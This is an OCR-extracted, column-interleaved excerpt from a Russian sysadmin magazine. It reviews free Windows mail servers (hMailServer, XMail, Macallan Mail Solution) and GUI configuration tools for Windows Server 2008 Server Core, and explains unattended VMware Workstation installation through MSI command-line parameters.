товых сервисов, размещению содер- Ну и, наконец, третий метод, наиболее рационных систем, такие как Postfix.
жимого почтовых ящиков и т. д. берет популярный в последнее время даже Это в первую очередь отсу тствие
на себя другая компания. Даже регист- в сравнительно небольших компани- в большинстве случаев необходимос-
рацию собственного домена компании ях – создание собственного почтово- ти платить за лицензию на операци-
можно переложить на их плечи. го сервера. онную систему, экономичное отноше-
Отрицательным моментом данно- Из положительных сторон мож- ние к ресурсам, гибкость в управле-
го решения остается необходимость но отметить значительную экономию нии и т. д.
не только оплачивать интернет-тра- трафика при пересылке почтовых со- Но, во-первых, нужно неплохо раз-
фик при получении сообщений даже общений внутри компании (наиболь- бираться в UNIX-подобных операци-
внутри собственного почтового доме- шую выгоду можно получить, если онных системах, во-вторых, уметь на-
на (точнее, при загрузке сообщений сервер находится внутри периметра страивать довольно специфичное ПО.
в почтовый клиент или просмотре че- сети), а также независимость в воп- Идеология большинства решений
рез веб-интерфейс), но и услуги по об- росах администрирования, безопас- в этой области базируется на основе
служиванию некоторого числа почто- ности и обеспечения мер по отказо- идеи некоего конструктора из отдель-
вых ящиков. устойчивости. ных «кирпичиков», из которых и стро-
Также данное решение не облада- Имея собственный почтовый сер- ится гибкая, управляемая, но все же
ет достаточной гибкостью при адми- вер, гораздо проще решить вопросы, сложная система.
14
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
мы просто регистрируем факт неуда-
чи в настройке и переходим к следую-
щему шагу. В конце концов мы же вы-
брали платформу Windows и продукты
под нее именно за простоту установки
и эксплуатации.
hMailServer
Начнем знакомство с сайта програм-
мы – http://www.hmailserver.com.
Функциональность
hMailServer предоставляет весь важ-
ный функционал для запуска вашего
собственного e-mail-сервера. Как поль-
зователю hMailServer вам будут доступ-
ны обновления и широкая поддержка
других пользователей и разработчиков
на форуме. Данный продукт не требует
оплаты при использовании или распро-
странении. hMailServer поддерживает
открытые почтовые e‑mail-стандарты:
POP3, SMTP и IMAP4. Это делает сер-
вер совместимым с большинством поч- Рисунок 3. Панель управления hMailServer Administrator
товых клиентов. hMailServer 4 и более
старшие версии лицензированы как Open Source под ли- hMailServer‑4.4.3-B285.exe. Для скачивания справки:
цензией GPL. Последние версии (5 и позднее) также сво- h t t p : / / d o w n l o a d . h m a i l s e r v e r. c o m / d o c u m e n t a t i o n /
бодны, но поставляются с закрытым кодом. hMailServer‑4‑4.chm.
Скачивание программы по указанной выше ссылке
Основные возможности и непосредственная установка прошли без особых проб-
n POP3, SMTP, IMAP; лем. Отдельно стоит отметить тот факт, что программа
n Virtual domains (виртуальные домены); использует для хранения информации SQL-базу данных.
n Built-in backup (встроенная система резервного копиро- При этом можно использовать широкий спектр СУБД, вклю-
вания); чая MySQL 4x, 5x, Microsoft SQL Server (начиная с Microsoft
n Scripting (возможность создания скриптов); SQL Server 7, включая Express, Standard and Enterprise
n External accounts (внешние аккаунты); edition) или PostgreSQL (начиная с 8‑й версии). При этом са-
n Rules (правила); ма программа поставляется со встроенным MySQL, позво-
n Multilingual (многоязыковая поддержка); ляя выбрать эту функцию при инсталляции. Поэтому даже
n AntiVirus; абсолютно неискушенные в администрировании баз дан-
n Spam protection (антиспам-защита); ных люди вполне могут установить и использовать данный
n Routing (перенаправление почты); почтовый сервер.
n MX backup; А вот при первом запуске консоли администрирова-
n Mirroring (копирование сообщений на определенный ния ожидал неприятный сюрприз: произошел сбой коди-
адрес); ровки (см. рис. 1).
n SQL-support (хранение данных в SQL-базе данных). В данной ситуации опять же выручила документация.
Пройдя по ссылке http://www.hmailserver.com/documentation/
Как видно из перечисленных возможностей, перед нами ?page=howto_install, стало понятно, как ввести пароль и со-
довольно серьезный продукт, позволяющий организовать единиться с сервером. После этого потребовалось меньше
полностью функциональный почтовый сервер. минуты, чтобы вручную переключить консоль на английский
Посещение сайта произвело в общем весьма интри- язык и в дальнейшем работать без ошибок (см. рис. 2).
гующее впечатление. Обилие информации по интересую- Далее программа уже не преподносила неприятных сюр-
щим вопросам, удобная система поиска, наличие форума призов, оставив только хорошие впечатления.
для обсуждения помогает найти ответ практически на лю- Все настройки осуществляются через консоль управле-
бой вопрос, связанный с настройкой или эксплуатацией ния сервером (см. рис. 3). Данную консоль можно устано-
данного продукта. вить как непосредственно на сам сервер, так и на отдель-
ный компьютер, например на рабочую станцию системно-
Установка и эксплуатация hMailServer го администратора.
Ссылка для скачивания последней стабильной вер- Честно говоря, данный продукт поражает богатством
сии 4.4.3 программы – http://download.hmailserver.com/ своих функций:
Рисунок 4. Тестирование возможностей POP3-аутентификации при помощи функции «Проверить возможности сервера»
16
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
В окне настроек этого почтового
клиента есть вкладка «Безопасность»
с функцией «Проверить возможнос-
ти сервера». Как видно на рис. 4,
hMailserver не поддерживает шифро-
вание и использует авторизацию толь-
ко при помощи открытого текста.
Окончательное тес тирование
при помощи Outlook Express показа-
ло, что после соответствующей на-
стройки возможно использование ау-
тентификации по POP3 и по SMTP при
указании логина и пароля.
Вкладка, в которой задается тре-
бование аутентификации, показана
на рис. 5.
Инсталляция на Windows Vista про-
шла успешно. Не пришлось произво- Рисунок 5. Настройка аутентификации на hMailServer
дить никаких дополнительных настро-
ек. Поэтому можно с уверенностью го- Программный продукт можно реко- держки протокола IMAP4, что называ-
ворить о том, что данный продукт сов- мендовать в качестве основы для ор- ется из коробки. Хотя описание про-
местим c Windows Vista. ганизации почтового сервера не толь- дукта выглядит солидно.
ко для небольших, но и для средних Ниже на с транице прилагает-
Итак, подведем итоги компаний. Можно только добавить, ся длинный список сторонних утилит
по hMailServer что после знакомства с ним осталось и дополнений. Налицо подход, укла-
С помощью этого программного про- очень приятное впечатление. дывающийся в идеологию Open Source-
дукта можно организовать полноцен- строительство системы «из маленьких
ный почтовый сервер, отвечающий XMail кирпичиков». В принципе это даже хо-
современным требованиям, включая По сложившейся традиции в первую рошо. Жалко, конечно, что часть ссы-
антивирусную и антиспам защиту. Так- очередь обратимся на сайт програм- лок на сторонние «кирпичики» оказа-
же предусмотрены функции резерв- мы (http://www.xmailserver.org): «XMail – лась нерабочей, неплохо бы админис-
ного копирования и восстановления это Internet- и Intranet-почтовый сервер, трации сайта хоть изредка проверять
не только информации о пользовате- способный работать как ESMTP server, содержимое своей странички на нали-
лях, но и хранящихся на сервере со- POP3 server, finger server, обеспечи- чие неработающих ссылок.
общений. Отдельную похвалу нужно вать TLS для SMTP и POP3 (и клиен-
сказать о системе документации и под- та и сервера), мультидоменную струк- Установка и эксплуатация
держки, в которых есть описание прак- туру, не требующую заводить реаль- XMail
тически всех вопросов, встречающих- ные системные аккаунты, проверку Ну что же, первоначальную инфор-
ся при настройке и эксплуатации дан- SMTP relay, поддержку проверки адре- мацию мы получили, теперь можно
ного продукта. сов на основе DNS-списков, пользова- приступать к скачиванию и установ-
К минусам программы можно от- тельскую (базирующуюся как на IP, так ке. Ссылка для скачивания програм-
нести отсутствие более безопасных и на почтовом адресе) защиту от спа- мы: http://www.xmailserver.org/xmail-1.25.
методов аутентификации по POP3, не- ма, SMTP-аутентификацию (PLAIN win32bin.zip.
совместимость с Eset NOD32 (хотя нич- LOGIN CRAM-MD5 POP3-before-SMTP Если вы думаете, что сразу после
то не мешает использовать ClamWin), и пользовательские плагины), синхро- распаковки архива и запуска некоего
а также отсутствие встроенного веб- низацию по POP3 с внешними аккаун- исполняемого файла все заработает,
интерфейса для работы с электронной тами, алиасинг учетных записей и до- то вас глубоко разочарую. Разработ-
почтой через браузер. Хотя наличие менов, пользовательскую обработ- чики XMail вовсю постарались, чтобы
поддержки протокола IMAP4 позволя- ку почты, прямую доставку, пользо- сделать знакомство с их продуктом
ет использовать большое количество вательские почтовые фильтры, спис- не простым, но захватывающим и не-
веб-интерфейсов сторонних разработ- ки рассылки, удаленное администри- забываемым.
чиков, включая популярный продукт рование, настраиваемый обмен сооб- В первую очередь идем на сайт
SquirrelMail. (О чем, кстати, также ска- щениями, ведение протоколов и име- и читаем документацию по установ-
зано в документации.) Что же касает- ет мультиплатформенный код. Код ке: http://www.xmailserver.org/Readme.
ся некоторых недоразумений, появ- XMail компилирован для GNU/Linux, html#nt_win2k_xp.
ляющихся при первом запуске консо- FreeBSD, OpenBSD, NetBSD, OSX, Из документации следует, что необ-
ли hMailServer Administrator, будем на- Solaris and NT/2K/XP». ходимо распаковать архив программы
деяться, что данная ошибка будет ис- Начало довольно интригующее. в отдельный каталог, после этого со-
правлена в следующих версиях. Несколько огорчает отсутствие под- держимое подкаталога MailRoot скопи-
cd c:\MailRoot\bin
Д а л е е з а п ус к ае м п р о г р а м м у
xmail.exe с ключом инсталляции в ре-
жиме сервиса с автоматическим за-
пуском:
xmail.exe --install-auto
18
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
леко не на всяком почтовом сервере это необходимо), бы- n To change this server's configuration Click Here –
ло решено воспользоваться утилитой XMail Manager, на- для изменения конфигурации сервера кликните здесь.
писанной на Visual Basic Майком Харрингтоном (Mike
Harrington). Ссылка для скачивания http://www.encenia.com/ Для создания доменов и почтовых ящиков нужно вы-
filelib/xmailmgr/xmgr13.exe. брать пункт Domains.
После скачивания и установки программы я так и Для человека, умеющего работать правой кнопкой мы-
не смог подключиться к серверу, так как программа тре- ши, создать домен, завести почтовый аккаунт и т. п. не со-
бовала пароль для доступа. Несколько озадаченный, ставит особого труда (см. рис. 7).
я скачал и установил другую программу – XMailAdmin, Отдельного внимания заслуживает настройка свойств
также написанную на VB (автор John Kielkopf). Резуль- самого сервера. Для этого выбираем пункт меню «Tools →
тат оказался тот же. К счастью, на страничке програм- Server Configuration» или соответствующий пункт в окне при-
мы (http://www.webifi.com/xmail) оказался FAQ, из которого ветствия (см. выше). В появившемся окне и производится
стало ясно, что необходимо воспользоваться программой большая часть настроек (см. рис. 8).
XMCrypt (находящейся теперь вместе с другими бинарни- Что же касается другой утилиты управления XMailAdmin,
ками в папке C:\MailRoot\bin) для шифрования желаемого то, учитывая тот факт, что она предоставляет довольно бед-
пароля, формат команды: ный интерфейс исключительно для манипулирования поч-
товыми доменами и учетными записями, при наличии нор-
XMCrypt {plain_password} мально работающего XMail Manager, не имеет смысла тра-
тить на нее время.
После чего выбранный логин и полученное значение не- И по традиции тест на SMTP- и POP3-аутентифика-
обходимо добавить в файл ctrlaccounts.tab, лежащий в ка- цию:
талоге C:\MailRoot\. Логин и шифрованное значение паро-
ля должны разделяться знаком табуляции, в конце строки telnet 10.0.0.249 25
должен стоять перевод строки. После чего перезапускаем 220 xmailserver.test <1231888146.1424@xmailserver.test>
соответствующую службу и пробуем подключиться к сер- [XMail 1.25 ESMTP Server] service ready;
Wed, 14 Jan 2009 02:09:06 +0300
веру. (Позже я обратил внимание, что XMail Manager пос- ehlo xmailserver.test
тавляется с утилитой XMCrypt UIб, что по сути является гра- 250-xmailserver.test
250-VRFY
фической оболочкой к вышеописанной программе XMCrypt. 250-ETRN
Как говорится: «Знать бы, где падать…») 250-8BITMIME
Программа XMail Manager при запуске выдала симпатич- 250-PIPELINING
250-AUTH LOGIN PLAIN CRAM-MD5
ное окно, в котором предложила следующие пункты: 250-SIZE
n Domains View a list of all domains on your server, and 250 STARTTLS
browse mailboxes – домены, просмотр списка всех до-
менов на сервере и почтовых ящиков. Из листинга видно, что данный продукт неплохо прора-
n Mailbox Search Quickly locate mailboxes across ботан в отношении поддержки SMTP-стандартов. Есть ау-
domains using the mailbox search – быстрое нахожде- тентификация и для почтовых клиентов под Windows и UNIX,
ние почтовых ящиков сквозь доме-
ны, используя поиск.
n Сustom Domains Manage the
custom domains located on your
server – управление выбранным
доменом, расположенным на ва-
шем сервере.
n POP3 Connectors Manage the
POP3 connectors that allow you
to link one or more mail servers
together – управление POP3-со-
единениями, позволяющие связы-
вать один или более почтовые сер-
вера вместе.
n Undeliverable Messages Manage
messages t hat could not be
delivered by your server – недо-
ставленные сообщения. Управле-
ние сообщениями, которые не бы-
ли доставлены.
20
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
полное пренебрежение к нуждам ко-
нечного потребителя, честно говоря, Как отключить Открыть приложение «Учетные записи
не просто неприятно удивляет, но и «Контроль учетных записей» пользователей» (User Accounts).
вызывает подозрение по поводу бес- в Windows Vista Нажать ссылку «Включение или от-
перебойной работы программы и до- Чтобы отключить в Windows Vista «Конт- ключение «Контроль учетных запи-
полнительных модулей. роль учетных записей» (User Access Control сей (UAC)» (Turn User Account Control
Еще одним минусом, на мой взгляд, (UAC), необходимо сделать следующее: on or off) и подтвердить продолжение
является отсутствие поддержки про- Открыть панель управления (Control операции в диалоговом окне UAC.
токола IMAP4, что называется «из ко- Panel) и выбрать опцию «Классичес- Нажать OK и перезагрузить систему.
робки». А единственная ссылка, даю- кий вид» (Classic View).
щая надежду на использование сто-
роннего продукта Courier IMAP with XMail на сайте http:// 2.4 ГГц RAM 512 Мб, работающем под Windows NT
www.xmailserver.org, оказалась нерабочей. Ну и отсутствие или 2000 Server. Но более подходяще будет использовать
других методов аутентификации POP3, кроме Plain Text, так- от 100 до 400 конкурентных пользователей».
же выглядит несколько удручающим.
Отсутствие встроенного веб-интерфейса выглядит не- Комментарии от автора программы
сколько несолидно, хотя и не является серьезным недо- «На Linux вы легко можете получить Open Source Mail
статком. При этом отсутствие поддержки протокола IMAP4 Servers. Для Windows 2000 или Windows XP я не нашел по-
создает ограничения для использования большинства по- настоящему свободного ПО.
пулярных веб-интерфейсов к почтовым серверам. Остает- Большинство из них либо ограничены по функциональ-
ся надеяться, что модули от сторонних разработчиков спо- ности, либо имеют временное ограничение. Поэтому я ре-
собны компенсировать данную недоработку. шился написать собственный (сервер) для моего персо-
Ну и, конечно, очень долгий запутанный процесс на- нального использования.
стройки сервера. Простейшая задача (к примеру, настрой- Я также решил предложить этот продукт другим поль-
ка аутентификации) может потребовать длительного вре- зователям, чтобы они имели выбор между программным
мени для поиска решения. обеспечением под Linux или Windows».
Данный программный продукт после определенных
доработок (установки модулей сторонних разработчиков) Установка и эксплуатация Macallan Mail Solution
можно использовать как корпоративный почтовый сервер. В разделе Downloads встречается строка: Installation
Для этого он обладает минимальным набором необходи- procedure uses Microsoft Installer and Microsoft C Runtime
мых функций. 8.0.50727.42.
То есть, как и в случае с XMail Server, необходимо ска-
Macallan Mail Solution чать и установить Microsoft C Runtime. Скачиваем и уста-
По традиции обратимся на сайт программы – http:// навливаем данную библиотеку. Необходимый дистрибутив
pagesperso-orange.fr/macallan/MMS/index.html. уже выложен на домашней страничке Macallan Mail Solution
Там указано, что: «Macallan Mail Solution is a Freeware (ссылка для скачивания http://pagesperso-orange.fr/macallan/
Mail Server (SMTP/POP3/IMAP/HTTP/NEWS/SSL/Tunnel) SETUP/vcredist_x86.exe).
для Microsoft Windows XP и Microsoft Windows 2000, который Далее необходимо просто скачать и установить саму
работает как Microsoft Outlook Express или Microsoft Outlook. программу почтового сервера (http://pagesperso-orange.fr/
Он управляет локальной почтой, входящими электронны- macallan/SETUP/MMSSetup.msi). Управление программой
ми письмами из Интернета и исходящими электронными осуществляется через довольно оригинально оформлен-
письмами на внешний почтовый адрес. ное окно.
Механизм фильтрации против спамеров использу-
ет DNSBL (DNS Black List) и ваши собственные «черные»
и «белые» списки, включает механизм проверки на виру-
сы, используя ваш антивирус. Может отсылать провайдеру
автоматические сообщения об обнаруженных спаме и ви-
русах. Возможно использование SpamAssassin.
Поддержка почтовых клиентов по протоколу IMAP пока
еще находится в стадии разработки. Нормально поддержи-
ваются все POP3-клиенты.
Secure Socket Layer (SSL) and Transport Layer Security
(TLS) поддерживаются при помощи библиотек OpenSSL .
Число локальных SMTP и локальных POP3 учетных за-
писей сейчас ограничено до 128 (раньше было 32). Нет ог-
раничения по времени использования. Если вам необходи-
мо больше аккаунтов, пришлите автору e-mail.
Программа была протестирована на 1700 смоделиро-
Рисунок 11. Окно XMail Administrator, запущенное
ванных конкурентных POP3-пользователях на Pentium P4 в Windows Vista
22
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
будь маленькой некоммерческой ор-
ганизации.
Заключение
Напоследок несколько рекомендаций
на тему, какой продукт лучше исполь-
зовать и при каких условиях.
Если необходимо установить пол-
ноценный почтовый сервер, я бы вы-
брал hMailServer. Правда, пришлось бы
потратить время на установку веб‑ин-
терфейса, например Apache + PHP +
SquirrelMail. Но в целом это продукт,
содержащий в себе поддержку всех
необходимых сервисов, имеющий за-
конченный вид и удобную консоль ад-
министрирования.
Если необходим почтовый сервер
только для служебных целей, напри-
мер, для получения по почте отчетов
от различного ПО, я бы остановил-
Рисунок 13. Веб-интерфейс программы Macallan Mail Solution. Окно смены пароля
ся на Macallan Mail Solution. Простой открыто поверх окна со списком отправленных сообщений
в установке, неприхотливый, это то,
что нужно для вспомогательной служ- ев, когда системному администратору минимальный функционал почтового
бы. А вот в качестве корпоративного нечем заняться в рабочее время (на- сервера. Хотя в этом случае разумнее
почтового сервера его можно рекомен- пример, в случае, когда все осталь- будет заняться изучением какой-ни-
довать только для очень небольших ное настроено и «работает как часы»). будь операционной системы семейства
компаний (например, для региональ- В этом случае в лице XMail он обретет UNIX и выбрать для почтового сервера
ных филиалов крупных фирм). некий продукт, который некоторое вре- соответствующее проверенное реше-
Что же касается использования мя не позволит ему скучать, но в целом ние, например Postfiх + Courier-IMAP +
XMail, я бы предложил его для случа- все-таки сможет обеспечить хотя бы PostfixAdmin, ну и так далее.
Рисунок 14. Тест на возможность аутентификации по POP3 для почтового сервера Macallan
Графические инструменты
для Server Core
Сергей Яремчук
В Windows Server 2008 было представлено достаточно новинок, и, наверное, одна из главных –
возможность установки в варианте Server Core без графического интерфейса [1]. Такой режим
имеет много положительных сторон, но вот настройка основных параметров сервера
исключительно в командной строке не всем может прийтись по вкусу.
24
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
И
менно наличие графического хотя и отличаются функционально, n установка имени компьютера, ра‑
интерфейса, ставшего факти‑ но имеют схожие названия. бочей группы или домена;
чески товарным знаком систе‑ Заранее хочу отметить, что ни од‑ n установка ролей и компонентов
мы от Microsoft, сделало Windows такой на из программ, описанных в обзо‑ Server Core;
популярной системой. Новички доста‑ ре, не имеет локализованного интер‑ n запуск Dcpromo для настройки кон‑
точно быстро осваивают основные на‑ фейса, но все термины являются об‑ троллера домена.
стройки как системы, так и сервисов. щепринятыми, и при наличии хотя бы
Появление режима Server Core изме‑ минимальных знаний языка и при‑ За весьма короткое время своего
нило ситуацию. нципов настройки разобраться очень развития CoreConfigurator достиг вер‑
С одной стороны, сервер априо‑ просто. сии 1.1.2, но сегодня автор, имевший
ри стал безопаснее, системные тре‑ статус MVP (Microsoft Most Valuable
бования к оборудованию изменились CoreConfigurator Professional), стал одним из служа‑
в меньшую сторону. Первой, а поэтому, наверное, са‑ щих Microsoft, и по условиям догово‑
Но с другой – новичку приходит‑ мой известной утилитой на сегод‑ ра с предыдущей компанией был вы‑
ся выполнять большую часть настро‑ ня является CoreConfigurator [3], раз‑ нужден прекратить разработку сво‑
ек исключительно в командной строке, работанный Гаем Теверовским (Guy ей утилиты и закрыть свой проект.
что требует уже определенной подго‑ Teverovsky) в марте 2008 года. Пос‑ Но файл CoreConfigurator.msi легко
товки. Так, на сайте Microsoft приведен ле установки (выполняем команду найти на других серверах, воспользо‑
такой факт: для установки IIS в Server «msiexec /i Configuratorurator.msi») и за‑ вавшись поиском.
Core администратор должен ввести пуска в меню CoreConfigurator нахо‑
923 символа. Не каждый это сможет дим 11 пунктов, обеспечиващих дос‑ Smart-X CoreConfigurator
сделать без ошибок. туп к основным настройкам, которы‑ CoreConfigurator от Теверовского был
При наличии еще одной системы ми пришлось бы управлять из команд‑ настолько популярен, что так запрос‑
с установленной Windows 2008, сер‑ ной строки: то хорошему проекту умереть не да‑
вером, работающим в Server Core, n активация продукта; ли, тем более что по контракту все
можно управлять удаленно, исполь‑ n настройка разрешения экрана; разработки, в том числе и те, кото‑
зуя консоль управления MMC, System n настройка часов и временных зон; рые велись Теверовским в нерабо‑
Center и некоторые другие инстру‑ n установка разрешений для удален‑ чее время, принадлежали его работо‑
менты. Ориентированные, как пра‑ ных RDP-подключений; дателю. В итоге компания Smart-X [4]
вило, на администрирование отдель‑ n управление локальными учетными продолжила разработку этой утилиты
ных ролей. В том числе есть вариан‑ записями (создание, удаление, до‑ под тем же названием, распространяя
ты и других систем Windows. Напри‑ бавление в группы, управление па‑ ее под freeware-лицензией (для персо‑
мер, для настройки Hyper‑V можно ис‑ ролями); нального некоммерческого использо‑
пользовать диспетчер для Vista SP1 n установка разрешений и запретов вания). При ее применении в корпо‑
(support.microsoft.com/kb/952627). для Windows Firewall; ративной сети следует уже приобрес‑
Но таких утилит немного, а при по‑ n включение/отключение WinRM; ти лицензию, которая стоит 66$ (годо‑
мощи MMC можно сделать далеко n настройка сетевого интерфейса вая подписка) или 99$ (для 1 серве‑
не все. Первоначальные установки все (IP-адрес, маска сети, шлюз, адре‑ ра). Текущей является версия 1.3.0.1
равно придется производить в коман‑ са DNS-серверов); от 1 февраля 2009 года. Никаких ог‑
дной строке. раничений CoreConfigurator в бесплат‑
Система в Server Core имеет до‑ ной редакции не имеет, только при его
статочно ограниченный набор функ‑ запуске будет появляться окно с пре‑
ций в API, связанных с графикой. дупреждением.
Ссылки на все функции и возможнос‑ После запуска утилиты, вводом
ти описаны в документе «Developing в командной строке команды «Start
Management Applications for Server CoreCFG», в появившемся меню об‑
Core» [2]. Например, нет поддержки наруживаем 17 пунктов.
для запуска локальной MMC. Кроме тех, которые были в ориги‑
Как результат – задача разработки нальном CoreConfigurator, появились
программы с графическим интерфей‑ возможности:
сом для Server Core несколько затруд‑ n настройка резервирования разде‑
нена, но это не значит, что она совсем лов компонентом WindowsServer
невозможна. Backup;
В итоге в настоящее время доступ‑ n региональные установки;
но несколько утилит, в том числе и име‑ n настройка параметров автомати‑
ющих графический интерфейс, при по‑ ческого обновления;
мощи которых можно произвести ос‑ n управление сервисами;
новные настройки сервера в этом ре‑ Server Core Configurator предоставляет n запуск редактора реестра и диспет‑
самое большое количество настраиваемых
жиме. Интересно отметить, что они параметров чера задач Windows.
26
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
Пунктов настроек Server Core Configurator имеет доволь‑
но много, и по возможностям он превосходит все осталь‑
ные программы обзора.
В
компаниях-разработчиках про- продукта. В литературе в подавляю- способ установки. Однако иногда тре-
граммного обеспечения необ- щем большинстве случаев работа мас- буется изменить список компонентов,
ходимо тестировать создавае- тера не рассматривается либо говорит- устанавливаемых по умолчанию. В та-
мые продукты. Обычно это необходи- ся о том, что это настолько просто, что ких ситуациях приходится отказаться
мо сделать на нескольких разных плат- не стоит уделять внимание. Пользова- от автоматической установки. Исполь-
формах. Содержать парк физических тель же видит только вершину айсбер- зуя программу ORCA.EXE [1], входя-
компьютеров с разными операционны- га – работу мастера. Поэтому рассмот- щую в комплект SDK Windows Installer,
ми системами для тестирования про- рим доступные способы установки. можно достаточно просто скорректи-
граммного обеспечения – дорогое удо- ровать этот список. Для этого необхо-
вольствие. Оптимально использовать Установка с помощью димо в программе ORCA открыть файл
такой продукт как VMware Workstation. мастера базы данных VMware Workstation.msi
Здесь можно устанавливать не толь- Работа мастера подразумевает ответ и перейти к таблице Feature, которая
ко разные версии операционных сис- пользователя на ряд задаваемых воп- состоит из нескольких колонок. Мастер
тем, но и эмулировать различное коли- росов. Рассмотрим подробно на при- в явном виде отображает значение ко-
чество дискового пространства, объем мере. лонок Title, Description, Display и Level.
оперативной памяти, количество про- После запуска EXE-файл автомати- С помощью значения Display управля-
цессоров и т. д. VMware Workstation чески распаковывает CAB- и MSI-фай- ют отображением компонентов: если
идеально подходит для различных за- ла в папку %TEMP%\{A3FF5CB2-FB35- значение равно нулю, то он не отобра-
дач: начиная от работы сетевых при- 4658-8751-9EDE1D65B3AA}~setup. жается в списке. Возможность его ус-
ложений, например игр или баз дан- Далее осуществляется выполнение тановки управляется с помощью зна-
ных, и заканчивая организацией тес- VMware Workstation.msi. чения параметра Level. Если Level = 1,
товых доменов. В крупных компани- Любой MSI-файл представляет со- то компонент по умолчанию устанав-
ях – разработчикам сетевых приложе- бой базу данных, состоящую из таб- ливается, если 0 – то нет (см. пара-
ний достаточно часто необходимо ре- лиц, в которых хранятся параметры метр Eclipce IDE PlugIn на рис. 2). На-
ализовать множественную установку и соответствующие им значения. Во звание устанавливаемого компонента
VMware Workstation. Автоматизация время работы мастера выполняет- берется из колонки Title, а описание –
этого процесса сэкономит много вре- ся сценарий, который, получив необ- из Description.
мени специалистам. ходимые исходные данные, управля- Изменив список устанавливаемых
ет установкой приложения. Часть зна- и отображаемых компонентов, поль-
Способы установки чений этих параметров заранее опре- зователь может впоследствии реали-
VMware Workstation делена в таблице Property MSI-файла, зовать полностью автоматическую ус-
Все способы установки практичес- часть необходимо ввести пользовате- тановку продукта с помощью парамет-
ки любого приложения, в том числе лю вручную. ров командной строки.
и VMware Workstation, условно можно Рассмотрим подробнее процесс ус- На третьем шаге задается путь ус-
разделить на две группы: тановки. После запуска файла VMware тановки VMware Workstation с помощью
n С помощью мастера. Установка Workstation.msi на экране выводится значения параметра INSTALLDIR таб-
программы сводится к ответу поль- диалоговое окно, сообщающее о на- лицы Directory. По умолчанию предла-
зователя на задаваемые мастером чале работы мастера. На первом ша- гается папка %ProgramFiles%\VMWare\
вопросы в интерактивном режиме. ге необходимо выбрать тип установки VMWare Workstation (см. рис. 3). В слу-
n С помощью параметров команд- (см. рис. 1). По умолчанию выбрано чае необходимости изменить путь
ной строки. Они позволяют сни- значение Typical таблицы Property. рекомендуется создать параметр
зить до минимума участие пользо- В большинстве случаев конечный INSTALLDIR в таблице Property и при-
вателя в установке программного пользователь выбирает именно этот своить ему требуемое значение.
28
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
Далее пользователь с помощью проводника указы-
вает местоположение дополнительно создаваемых яр-
лыков. По умолчанию предлагается создать три ярлыка
(см. рис. 4):
n На рабочем столе. Параметр DESKTOP_SHORTCUT.
n В «Пуск → Программы». Параметр STARTMENU_
SHORTCUT.
n В панели быстрого доступа Quick Launch. Параметр
QUICKLAUNCH_SHORTCUT.
Административная
установка
Административная установка исполь-
зуется для сложных продуктов, для
того чтобы получить непосредствен-
ный доступ к базе данных, храня-
щейся в MSI-файле. Для запуска это-
го процесса необходимо запустить
EXE‑файл с параметром /а. Админис-
тративная установка позволяет раз-
вернуть дистрибутив программы в се-
ти. Помните, что размер дистрибути-
ва в этом случае увеличивается при-
мерно в полтора раза. Так, дистрибу-
тив VMware Workstation 6.5 (VMware-
workstation-6.5.0-118166.exe) в сверну-
том виде занимает 555 Мб, а в развер-
нутом – 809 Мб. Рисунок 2. Определение списка устанавливаемых компонентов
необходимо указать ключ /qn, обеспечивающий подавле- матизации может быть разной. Это определяется возмож-
ние отображения интерфейса. Параметру TARGETDIR при- ностями инсталлятора, типом дистрибутива. Использова-
своить путь, по которому будет выполнена установка. Если ние этих параметров позволяет не только автоматизиро-
введенное значение содержит пробелы, то его необходи- вать процесс установки, но и получить другие сервисные
мо заключить в кавычки. Таким образом, для реализации функции, например, создать файл отчета и т. д.
автоматической установки в административном режиме Дистрибутив VMware Workstation создан на основе од-
в каталоге W:\VmWare Workstation 6.5 необходимо выпол- ного из самых распространенных инсталляторов – Windows
нить следующую команду: Installer.
С у щ е с т вуе т д в а в и д а д и с т р и бу т и в о в VMware
VMware-workstation-6.5.0-118166.exe /a /v " ↵ Workstation:
/qn TARGETDIR=" W:\VmWare Workstation 6.5""
